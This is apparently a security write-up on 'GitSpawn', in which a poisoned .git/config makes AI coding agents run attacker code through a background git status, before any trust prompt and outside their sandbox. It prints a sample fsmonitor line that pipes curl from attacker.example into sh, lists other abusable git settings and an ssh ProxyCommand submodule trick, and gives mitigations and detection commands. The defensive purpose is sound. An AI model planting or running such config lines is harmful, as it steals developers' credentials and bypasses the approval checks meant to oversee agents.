GitSpawn: How a .git Folder Can Run Code Before Your AI Agent Asks Permission
AI coding agents run git commands in the background all the time. Not because
you asked — because git status and git log are how the agent figures out
what it’s looking at when it opens a project. No approval prompt, because
they’re “just reads.”
Manifold Security showed that assumption is wrong. A project folder can carry a
.git/config line that turns the agent’s very first orientation step into
arbitrary code execution — before the workspace-trust prompt, outside the
agent’s sandbox, running with your own user permissions. They call the bug
class GitSpawn, and it hit seven AI coding tools, including Claude Code,
Cursor, and Codex.
How it works
Git has a real, useful setting called core.fsmonitor. Normally Git checks
every file to see what changed. core.fsmonitor lets you point it at an
external “file watcher” program instead — Git asks that program “what
changed?” and trusts the answer. This is a genuine performance feature, used
with tools like Watchman on large repos.
The setting lives in the repo’s own .git/config, and Git does not check
whether the program it names is safe. It just runs it, with your permissions,
the moment a command like git status needs to know the file state.
# .git/config
[core]
fsmonitor = "curl -s https://attacker.example/payload.sh | sh"
Any AI agent that runs a bare git status to “see what’s in this repo” fires
that line immediately — no confirmation, nothing on screen.
A real-world attack
The setup. Alice’s team keeps a folder of internal project templates on a
shared drive. Mallory, who has write access to that drive, drops a poisoned
copy of one template: same code, same README, but its .git/config carries
the fsmonitor line above.
- Delivery. Alice copies the template folder to her laptop — not with
git clone, just a drag-and-drop from the shared drive, the same way everyone on the team grabs a starting point. - Trigger. Alice opens the folder in her AI coding agent to ask it to
scaffold a new feature. Before showing her a “trust this workspace?”
prompt, the agent runs
git statusto orient itself. - Execution. Git honors
core.fsmonitor, launches Mallory’s script with Alice’s own OS permissions, and the agent never sees anything unusual — thegit statusoutput looks completely normal.
From there the script can read Alice’s SSH keys, cloud credentials, and
.env files, or quietly plant itself in her shell profile for persistence.
Note what does not work here: a plain git clone from GitHub. Clone does
not copy the source repository’s .git/config or .git/hooks/ — it builds a
fresh one. The delivery path has to be something that carries the raw .git
directory across as-is: a ZIP file, a shared drive, a synced folder (Dropbox,
Google Drive), or a pre-built dev container image.
Other ways to poison the same folder
core.fsmonitor is one knob. Git has several others that run external
programs, and all of them share the same delivery constraint — someone has to
hand you the .git directory intact, not a fresh clone:
| Setting | Fires on | Why it’s dangerous |
|---|---|---|
.git/hooks/post-checkout |
switching branches, checkout | expected to run scripts, easy to miss |
core.hooksPath |
any hook event | can point hooks at a normal-looking, tracked folder |
credential.helper |
any fetch/push/pull over HTTPS | running an external program here is normal, so it hides well |
core.sshCommand |
any fetch/push over SSH | replaces the SSH client itself |
filter.<name>.smudge/clean + .gitattributes |
checkout/commit of matching files | half the payload can be a normal, committed file |
Two of these are worth calling out because they’ve caused real, wormable CVEs in Git itself — no pre-poisoned local config needed, just a plain clone:
- CVE-2017-1000117 — a
submodule URL like
ssh://-oProxyCommand=some-command/foogot passed to the local SSH client as an option instead of a hostname. A.gitmodulesfile with that URL, committed and public, ran attacker code on anyone who didgit clone --recurse-submodules. - CVE-2018-11235
and CVE-2021-21300
— crafted submodule names and symlink tricks on case-insensitive filesystems
(Windows, macOS) that let a malicious repo write its own file straight into
.git/hooks/, sopost-checkoutran automatically after a normal clone.
All three are patched in current Git. They matter here because they prove the
worse case is real: a hook-based RCE that doesn’t even need a ZIP file or a
shared drive, just a public repo and --recurse-submodules.
Impact
Technical impact
- Arbitrary code execution with the developer’s own OS-level permissions — outside whatever sandbox the AI agent normally runs in.
- Access to SSH keys, cloud CLI credentials, API tokens, and every other repo on the same machine.
- No warning shown: the malicious command runs silently while the agent’s
output looks like an ordinary
git status.
Business impact
- One infected developer laptop can become the entry point into cloud accounts, CI secrets, and source control for every repo they can reach.
- Because the trigger is a routine background command, this bypasses the approval workflows companies specifically built to make AI agents safe to use — the incident review has to explain why the “sandboxed” agent wasn’t.
- Template folders, starter kits, and internal shared drives — the exact things teams pass around casually — become a plausible malware delivery channel, which is a harder thing to train people to distrust than “don’t click links.”
How to fix it
If you build or maintain an AI coding agent, don’t run bare git for
background context-gathering. Pin down the config on every call that isn’t
directly user-initiated:
# Before: inherits every setting in the repo's local .git/config
git status
# After: explicitly disables the risky settings for this call
git -c core.fsmonitor=false \
-c credential.helper= \
-c core.hooksPath=/dev/null \
status
Patch status as of the disclosure: Claude Code, goose,
and Cursor had shipped fixes for the core.fsmonitor vector (though a second
code path in Claude Code was still open). Hermes Agent, Qwen Code, and Grok
Build had not patched at all. If you use any of these tools, update them and
watch the vendor’s advisories.
If you’re a developer using one of these tools, until every vector above is patched everywhere:
- Never open a project folder that arrived as a ZIP, a shared-drive copy, or
a pre-built dev container without checking its
.git/configand.git/hooks/first. - Prefer
git clone <url>over copying folders — a fresh clone builds its own clean config and doesn’t carry hooks over. - Keep Git itself current; the CVEs above are old but only closed in patched versions.
How to test for it
Check any repo you didn’t create yourself with a fresh clone before trusting it:
# Any of these printing something is a red flag — investigate before opening
# the folder in an AI agent or running any git command in it.
git config --get core.fsmonitor
git config --get core.hooksPath
git config --get credential.helper
git config --get core.sshCommand
ls -la .git/hooks/ | grep -v '\.sample$'
A repo’s
.git/configis data the repo’s author fully controls. Treat any project folder that didn’t come fromgit clone— a ZIP, a drive, a container image — the same way you’d treat an executable from an unknown source, because.git/configis exactly that.